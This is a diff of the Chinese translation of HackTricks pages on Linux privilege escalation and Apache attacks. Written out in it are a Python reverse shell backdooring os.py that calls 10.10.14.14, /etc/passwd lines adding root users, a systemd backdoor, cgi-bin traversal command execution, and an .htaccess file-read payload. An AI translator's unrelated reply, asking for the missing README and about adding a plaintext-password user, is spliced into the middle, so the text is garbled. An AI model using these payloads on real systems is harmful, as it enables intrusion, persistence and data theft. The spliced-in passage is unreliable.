权限**。这些权限通过允许或拒绝特定用户（非所有者或不属于该组的用户）访问文件或目录，从而增强了对访问的控制。这种 **粒度确保了更精确的访问管理**。更多细节可以在 [**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。 +Access Control Lists (ACLs) 代表可裁量权限的第二层，能够**覆盖传统的 ugo/rwx permissions**。这些权限通过允许或拒绝对非所有者或非组成员的特定用户的访问权来增强对文件或目录访问的控制。这个级别的**粒度确保了更精确的访问管理**。更多细节可见 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**给予** 用户 "kali" 对一个文件的读取和写入权限： +**授予** 用户 "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**获取**具有特定 ACL 的文件： +**获取** 系统中具有特定 ACLs 的文件： ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## 打开 shell 会话 -在 **旧版本** 中，您可以 **劫持** 不同用户（**root**）的一些 **shell** 会话。\ -在 **最新版本** 中，您只能 **连接** 到 **您自己用户** 的屏幕会话。然而，您可能会在会话中找到 **有趣的信息**。 +在 **旧版本** 中，你可能能够 **hijack** 不同用户（**root**）的某些 **shell** 会话。\ +在 **最新版本** 中，你只能 **connect** 到属于 **your own user** 的 screen sessions。不过，你可能会在会话中发现 **有趣的信息**。 -### 屏幕会话劫持 +### screen sessions hijacking -**列出屏幕会话** +**列出 screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**附加到会话** +**附加到 session** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux 会话劫持 +## tmux sessions hijacking -这是一个 **旧版 tmux** 的问题。作为非特权用户，我无法劫持由 root 创建的 tmux (v2.1) 会话。 +这是 **old tmux versions** 的一个问题。 +我作为非特权用户无法劫持由 root 创建的 tmux (v2.1) 会话。 **列出 tmux 会话** ```bash @@ -1120,53 +1127,54 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -检查 **HTB 的情人节盒子** 以获取示例。 +Check **Valentine box from HTB** for an example. ## SSH -### Debian OpenSSL 可预测的 PRNG - CVE-2008-0166 +### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -在 2006 年 9 月至 2008 年 5 月 13 日之间生成的所有 Debian 基于系统（Ubuntu、Kubuntu 等）上的 SSL 和 SSH 密钥可能受到此漏洞的影响。\ -此漏洞是在这些操作系统中创建新 ssh 密钥时造成的，因为 **仅可能有 32,768 种变体**。这意味着所有可能性都可以计算，并且 **拥有 ssh 公钥后，您可以搜索相应的私钥**。您可以在此处找到计算的可能性：[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +在 2006 年 9 月到 2008 年 5 月 13 日之间，在基于 Debian 的系统（Ubuntu、Kubuntu 等）上生成的所有 SSL 和 SSH 密钥可能受此漏洞影响。\ +该漏洞在这些操作系统上创建新的 ssh key 时产生，原因是 **只有 32,768 种变体**。这意味着可以穷举所有可能，并且 **拥有 ssh public key 就可以搜索对应的 private key**。你可以在此处找到预计算的可能性： [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH 有趣的配置值 +### SSH Interesting configuration values -- **PasswordAuthentication:** 指定是否允许密码认证。默认值为 `no`。 -- **PubkeyAuthentication:** 指定是否允许公钥认证。默认值为 `yes`。 -- **PermitEmptyPasswords**: 当允许密码认证时，指定服务器是否允许使用空密码字符串登录账户。默认值为 `no`。 +- **PasswordAuthentication:** 指定是否允许 password authentication。默认值为 `no`。 +- **PubkeyAuthentication:** 指定是否允许 public key authentication。默认值为 `yes`。 +- **PermitEmptyPasswords**: 当允许 password authentication 时，指定服务器是否允许使用空密码字符串的账户登录。默认值为 `no`。 ### PermitRootLogin 指定 root 是否可以使用 ssh 登录，默认值为 `no`。可能的值： -- `yes`: root 可以使用密码和私钥登录 -- `without-password` 或 `prohibit-password`: root 只能使用私钥登录 -- `forced-commands-only`: root 只能使用私钥登录，并且如果指定了命令选项 +- `yes`: root 可以使用 password 和 private key 登录 +- `without-password` or `prohibit-password`: root 只能使用 private key 登录 +- `forced-commands-only`: root 只能使用 private key 登录，并且仅当指定了 commands 选项时 - `no` : 不允许 ### AuthorizedKeysFile -指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的标记，这将被主目录替换。**您可以指示绝对路径**（以 `/` 开头）或 **相对于用户主目录的相对路径**。例如： +指定包含可用于用户认证的 public keys 的文件。它可以包含像 `%h` 这样的 token，%h 将被替换为主目录。**你可以指定绝对路径**（以 `/` 开头）或 **从用户主目录的相对路径**。例如: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -该配置将指示如果您尝试使用用户“**testusername**”的**私钥**登录，ssh将比较您的密钥的公钥与位于`/home/testusername/.ssh/authorized_keys`和`/home/testusername/access`中的公钥。 +该配置表示，如果你尝试使用用户 "**testusername**" 的 **private** key 登录，ssh 将会将你的公钥与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的公钥进行比较。 ### ForwardAgent/AllowAgentForwarding -SSH代理转发允许您**使用本地SSH密钥而不是将密钥**（没有密码短语！）放在服务器上。因此，您将能够**通过ssh跳转到一个主机**，然后从那里**跳转到另一个**主机**使用**位于您**初始主机**中的**密钥。 +SSH agent forwarding 允许你 **使用本地 SSH keys 而不是将 keys**（without passphrases!）放在你的服务器上。这样，你将能够通过 ssh **跳转** **到某台主机**，然后从那里 **再跳转到另一台** 主机，**使用** 位于你 **初始主机** 的 **key**。 -您需要在`$HOME/.ssh.config`中设置此选项，如下所示： +你需要在 `$HOME/.ssh.config` 中像下面这样设置此选项： ``` Host example.com ForwardAgent yes ``` -注意，如果 `Host` 是 `*`，每次用户跳转到不同的机器时，该主机将能够访问密钥（这是一种安全问题）。 +注意，如果 `Host` 是 `*`，每次用户跳转到不同主机时，该主机都能够访问密钥（这是一个安全问题）。 -文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\ -文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发（默认是允许）。 +文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝该配置。\ +文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent forwarding（默认是允许）。 + +如果你发现环境中配置了 Forward Agent，请阅读以下页面，因为 **你可能能够滥用它来提升权限**： -如果您发现转发代理在某个环境中被配置，请阅读以下页面，因为 **您可能能够利用它来提升权限**： {{#ref}} ssh-forward-agent-exploitation.md @@ -1174,71 +1182,76 @@ ssh-forward-agent-exploitation.md ## 有趣的文件 -### 配置文件 +### Profiles files -文件 `/etc/profile` 和 `/etc/profile.d/` 下的文件是 **在用户运行新 shell 时执行的脚本**。因此，如果您可以 **写入或修改其中任何一个，您可以提升权限**。 +文件 `/etc/profile` 以及 `/etc/profile.d/` 下的文件是 **在用户启动新 shell 时执行的脚本**。因此，如果你能 **写入或修改其中任何一个文件，你就可以提升权限**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` -如果发现任何奇怪的配置文件，您应该检查其中是否包含**敏感细节**。 +如果发现任何异常的 profile 脚本，应该检查其中是否包含**敏感信息**。 ### Passwd/Shadow 文件 -根据操作系统的不同，`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称，或者可能存在备份。因此，建议**找到所有这些文件**并**检查您是否可以读取**它们，以查看**文件中是否包含哈希**： +根据操作系统的不同，`/etc/passwd` 和 `/etc/shadow` 文件的名称可能有所不同，或者可能存在备份。因此建议**找到所有这些文件**并**检查是否可以读取**它们，以查看文件中**是否包含哈希**： ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -在某些情况下，您可以在 `/etc/passwd`（或等效）文件中找到 **密码哈希**。 +在某些情况下，你可以在 `/etc/passwd`（或等价文件）中找到 **password hashes**。 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### 可写的 /etc/passwd -首先，使用以下命令之一生成密码。 +首先，使用下面任一命令生成一个密码。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -然后添加用户 `hacker` 并添加生成的密码。 +我没有收到 src/linux-hardening/privilege-escalation/README.md 的内容。请把该 README.md 的原文粘贴出来，我会按要求把英语内容翻译成中文并保留所有原有的 markdown/HTML 语法、路径和标签不变。 + +另外，请确认下面两点： +1) 你要我在翻译后的文档中“添加用户 hacker 并加入生成的密码”是指仅在翻译文本内附加一段说明（例如一行或一个小节，显示用户名和明文密码），还是要把创建用户的命令也写进文档？（注意：我不能在你的主机上实际创建用户，只能在文档中添加说明/命令示例。） +2) 是否现在就为该用户生成一个强密码并把这个明文密码写入翻译后的 README？如果是，请确认你接受明文密码出现在文档中（明文密码有安全风险）。 + +确认后请粘贴 README.md 内容并回复上述偏好，我会开始翻译并按指定格式添加用户和密码。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -例如： `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +例如: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -您现在可以使用 `su` 命令与 `hacker:hacker` +你现在可以使用 `su` 命令并使用 `hacker:hacker` -或者，您可以使用以下行添加一个没有密码的虚拟用户。\ -警告：这可能会降低机器的当前安全性。 +或者，你可以使用以下行来添加一个没有密码的虚拟用户。\\ 警告：这可能会降低当前机器的安全性。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意：在BSD平台上，`/etc/passwd`位于`/etc/pwd.db`和`/etc/master.passwd`，同时`/etc/shadow`被重命名为`/etc/spwd.db`。 +注意：在 BSD 平台上 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`，同时 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 -您应该检查是否可以**写入某些敏感文件**。例如，您能否写入某些**服务配置文件**？ +你应该检查是否可以 **写入一些敏感文件**。例如，你能否写入某些 **服务配置文件**？ ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例如，如果机器正在运行 **tomcat** 服务器，并且您可以 **修改 /etc/systemd/ 中的 Tomcat 服务配置文件，** 那么您可以修改以下行： +例如，如果机器正在运行 **tomcat** 服务器并且你可以 **修改位于 /etc/systemd/ 中的 Tomcat 服务配置文件，** 那么你可以修改以下行： ``` ExecStart=/path/to/backdoor User=root Group=root ``` -您的后门将在下次启动 tomcat 时执行。 +你的后门将在下次 tomcat 启动时被执行。 ### 检查文件夹 -以下文件夹可能包含备份或有趣的信息：**/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**（您可能无法读取最后一个，但可以尝试） +下列文件夹可能包含备份或有趣的信息： **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (你可能无法读取最后一个，但可以尝试) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 奇怪的位置/拥有的文件 +### 奇怪的位置/Owned 文件 ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1255,11 +1268,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### 最近修改的文件 +### 最近几分钟内修改的文件 ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite 数据库文件 +### Sqlite DB 文件 ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1271,12 +1284,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **在 PATH 中的脚本/二进制文件** +### **PATH 中的脚本/二进制文件** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **网络文件** +### **Web 文件** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1287,20 +1300,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### 已知包含密码的文件 +### 已知包含 passwords 的文件 -阅读[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)的代码，它会搜索**可能包含密码的多个文件**。\ -**另一个有趣的工具**是：[**LaZagne**](https://github.com/AlessandroZ/LaZagne)，这是一个开源应用程序，用于检索存储在本地计算机上的大量密码，适用于Windows、Linux和Mac。 +查看 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码，它会搜索 **几类可能包含 passwords 的文件**。\ +**另一个有趣的工具** 是：[**LaZagne**](https://github.com/AlessandroZ/LaZagne)，它是一个开源程序，用于检索存储在本地计算机上的大量 passwords（适用于 Windows、Linux & Mac）。 -### 日志 +### Logs -如果您可以读取日志，您可能会在其中找到**有趣/机密的信息**。日志越奇怪，它就越有趣（可能）。\ -此外，一些“**错误**”配置（后门？）的**审计日志**可能允许您**在审计日志中记录密码**，正如在这篇文章中所解释的：[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 +如果你能读取 logs，你可能会在其中发现 **有趣/机密 信息**。日志越异常，可能越有价值（可能）。\ +此外，一些配置 **“bad”** 的（被植入后门？）**audit logs** 可能允许你在 audit logs 中 **记录 passwords**，正如这篇文章所述： [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -为了**读取日志，组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 将非常有用。 +为了 **读取日志的组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 会非常有用。 ### Shell 文件 ```bash @@ -1315,41 +1328,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -您还应该检查包含“**password**”的文件，无论是在**名称**中还是在**内容**中，并检查日志中的IP和电子邮件，或哈希正则表达式。\ -我不会在这里列出如何做到这一切，但如果您感兴趣，可以查看[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)执行的最后检查。 +你还应该检查文件名或内容中包含单词 "**password**" 的文件，也要检查日志中是否包含 IPs 和 emails，或 hashes regexps。\ +我不会在这里列出所有如何执行这些操作，但如果你感兴趣可以查看 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后几项检查。 ## Writable files ### Python library hijacking -如果您知道**从哪里**将要执行python脚本，并且您**可以在**该文件夹中写入或**修改python库**，您可以修改OS库并进行后门（如果您可以写入python脚本将要执行的位置，请复制并粘贴os.py库）。 +如果你知道 python 脚本将从 **哪里** 被执行，并且你 **可以在该文件夹内写入** 或者你可以 **modify python libraries**，你就可以修改 OS library 并 backdoor it（如果你可以写入 python 脚本将被执行的位置，复制并粘贴 os.py library）。 -要**对库进行后门**，只需在os.py库的末尾添加以下行（更改IP和端口）： +要 **backdoor the library**，只需在 os.py library 的末尾添加以下行（更改 IP 和 PORT）： ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate 利用 +### Logrotate exploitation -`logrotate` 中的一个漏洞允许对日志文件或其父目录具有 **写权限** 的用户潜在地获得提升的权限。这是因为 `logrotate` 通常以 **root** 身份运行，可以被操控以执行任意文件，特别是在像 _**/etc/bash_completion.d/**_ 这样的目录中。重要的是要检查 _/var/log_ 中的权限，也要检查应用日志轮换的任何目录。 +一个 `logrotate` 的漏洞允许对日志文件或其父目录拥有 **写权限** 的用户可能获得提权。这是因为 `logrotate` 通常以 **root** 身份运行，可以被操纵去执行任意文件，尤其是在像 _**/etc/bash_completion.d/**_ 这样的目录中。重要的不仅要检查 _/var/log_ 的权限，还要检查任何被应用日志轮替的目录的权限。 > [!TIP] > 此漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 -有关该漏洞的更多详细信息，请访问此页面：[https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 +关于该漏洞的更多详细信息可见此页面： [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -您可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 利用此漏洞。 +你可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 来利用此漏洞。 -此漏洞与 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **（nginx 日志）** 非常相似，因此每当您发现可以更改日志时，请检查谁在管理这些日志，并检查是否可以通过符号链接提升权限。 +该漏洞与 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** 非常相似，所以每当你发现可以修改日志时，检查谁在管理这些日志，并检查是否可以通过将日志替换为 symlinks 来提升权限。 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**漏洞参考：** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -如果出于某种原因，用户能够 **写入** 一个 `ifcf-` 脚本到 _/etc/sysconfig/network-scripts_ **或** 可以 **调整** 一个现有的脚本，那么您的 **系统就被攻陷了**。 +如果出于任何原因，用户能够向 _/etc/sysconfig/network-scripts_ **写入** 一个 `ifcf-` 脚本，或者能够 **调整** 一个已存在的脚本，那么你的 **system is pwned**。 -网络脚本，例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而，它们在 Linux 中由网络管理器（dispatcher.d）进行 \~sourced\~。 +网络脚本，例如 _ifcg-eth0_，用于网络连接。它们看起来完全像 .INI 文件。然而，它们在 Linux 上被 Network Manager (dispatcher.d) \~sourced\~。 -在我的案例中，这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空格**，系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。 +在我的情况下，这些网络脚本中的 `NAME=` 属性没有被正确处理。如果名称中有 **空白/空格，系统会尝试执行空白/空格之后的部分**。这意味着 **第一个空格之后的所有内容都会以 root 身份执行**。 例如： _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1357,24 +1370,26 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -### **init, init.d, systemd 和 rc.d** +(_注意 Network 和 /bin/id 之间的空格_) -目录 `/etc/init.d` 是 **System V init (SysVinit)** 的 **脚本** 的家，**经典的 Linux 服务管理系统**。它包括用于 `start`、`stop`、`restart` 和有时 `reload` 服务的脚本。这些可以直接执行或通过在 `/etc/rc?.d/` 中找到的符号链接执行。在 Redhat 系统中，另一个路径是 `/etc/rc.d/init.d`。 +### **init、init.d、systemd 和 rc.d** -另一方面，`/etc/init` 与 **Upstart** 相关，这是 Ubuntu 引入的较新的 **服务管理**，使用配置文件进行服务管理任务。尽管已经过渡到 Upstart，但由于 Upstart 中的兼容层，SysVinit 脚本仍与 Upstart 配置一起使用。 +目录 `/etc/init.d` 存放 System V init (SysVinit) 的 **脚本**，这是经典的 Linux 服务管理系统。该目录包含用于 `start`、`stop`、`restart`，有时还有 `reload` 服务的脚本。这些脚本可以直接执行，或通过位于 `/etc/rc?.d/` 的符号链接来调用。在 Redhat 系统中，另一个可选路径是 `/etc/rc.d/init.d`。 -**systemd** 作为现代初始化和服务管理器出现，提供了高级功能，如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 以供分发包使用，并将 `/etc/systemd/system/` 用于管理员修改，从而简化系统管理过程。 +另一方面，`/etc/init` 与 **Upstart** 关联，Upstart 是由 Ubuntu 引入的较新的 **服务管理** 系统，使用配置文件来管理服务。尽管已向 Upstart 迁移，由于 Upstart 中的兼容层，SysVinit 脚本仍然与 Upstart 配置一起被使用。 + +**systemd** 是一种现代的初始化和服务管理器，提供诸如按需启动守护进程、自动挂载管理和系统状态快照等高级功能。它将文件组织在 `/usr/lib/systemd/`（用于发行版包）和 `/etc/systemd/system/`（用于管理员的自定义）中，从而简化系统管理流程。 ## 其他技巧 -### NFS 权限提升 +### NFS Privilege escalation {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### 从受限 Shell 中逃逸 +### Escaping from restricted Shells {{#ref}} @@ -1388,31 +1403,40 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## 内核安全保护 +## Android rooting frameworks: manager-channel abuse + +Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. 了解更多及利用细节见： + + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) ## 更多帮助 -[静态 impacket 二进制文件](https://github.com/ropnop/impacket_static_binaries) +[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix 权限提升工具 +## Linux/Unix Privesc Tools -### **查找 Linux 本地权限提升向量的最佳工具：** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t 选项)\ +**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ -**Unix 权限检查:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ -**Linux 权限检查器:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ +**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ +**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** 在 Linux 和 MAC 中枚举内核漏洞 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (物理访问):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**更多脚本的汇编**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## 参考文献 +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1433,13 +1457,4 @@ cisco-vmanage.md - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) -## Android root 框架：管理者通道滥用 - -Android root 框架通常会钩住一个系统调用，以向用户空间管理器暴露特权内核功能。弱管理者身份验证（例如，基于 FD 顺序的签名检查或不良密码方案）可以使本地应用程序冒充管理者，并在已经 root 的设备上提升到 root。了解更多和利用细节： - - -{{#ref}} -android-rooting-frameworks-manager-auth-bypass-syscall-hook.md -{{#endref}} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index dcdf553b0..3260ff254 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## 可执行的 PHP 扩展 -检查 Apache 服务器正在执行哪些扩展。要搜索它们，可以执行： +检查 Apache 服务器正在执行哪些扩展。要搜索它们，您可以执行： ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -此外，您可以找到此配置的一些地方是： +此外，有些地方可以找到此配置： ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` -## 混淆攻击 +## 通过 .htaccess 的 ErrorDocument file provider 实现 LFI (ap_expr) -这些类型的攻击已被[**Orange在这篇博客文章中介绍和记录**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)，以下是总结。 "混淆"攻击基本上利用了多个模块在创建Apache时并未完美同步工作的方式，使得其中一些模块修改一些意外数据可能导致后续模块出现漏洞。 +如果你能控制某目录的 .htaccess，且该路径的 AllowOverride 包含 FileInfo，就可以在 ErrorDocument 中使用 ap_expr 的 file() 函数，将 404 响应转换为任意本地文件读取。 -### 文件名混淆 +- 要求： +- Apache 2.4，启用 expression parser (ap_expr)（2.4 中为默认）。 +- vhost/dir 必须允许 .htaccess 设置 ErrorDocument（AllowOverride FileInfo）。 +- Apache worker 用户必须对目标文件具有读取权限。 -#### 截断 +.htaccess payload: +```apache +# Optional marker header just to identify your tenant/request path +Header always set X-Debug-Tenant "demo" +# On any 404 under this directory, return the contents of an absolute filesystem path +ErrorDocument 404 %{file:/etc/passwd} +``` +通过请求该目录下任何不存在的路径来触发，例如在滥用 userdir-style hosting 时： +```bash +curl -s http://target/~user/does-not-exist | sed -n '1,20p' +``` +Notes and tips: +- Only absolute paths work. The content is returned as the response body for the 404 handler. +- Effective read permissions are those of the Apache user (typically www-data/apache). You won’t read /root/* or /etc/shadow in default setups. +- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP: +- rename .htaccess .htaccess.bk +- put your malicious .htaccess +- Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.). -**`mod_rewrite`**将在字符`?`之后修剪`r->filename`的内容（[_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)）。这并不是完全错误，因为大多数模块会将`r->filename`视为URL。但在其他情况下，这将被视为文件路径，这会导致问题。 +## Confusion Attack -- **路径截断** +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. 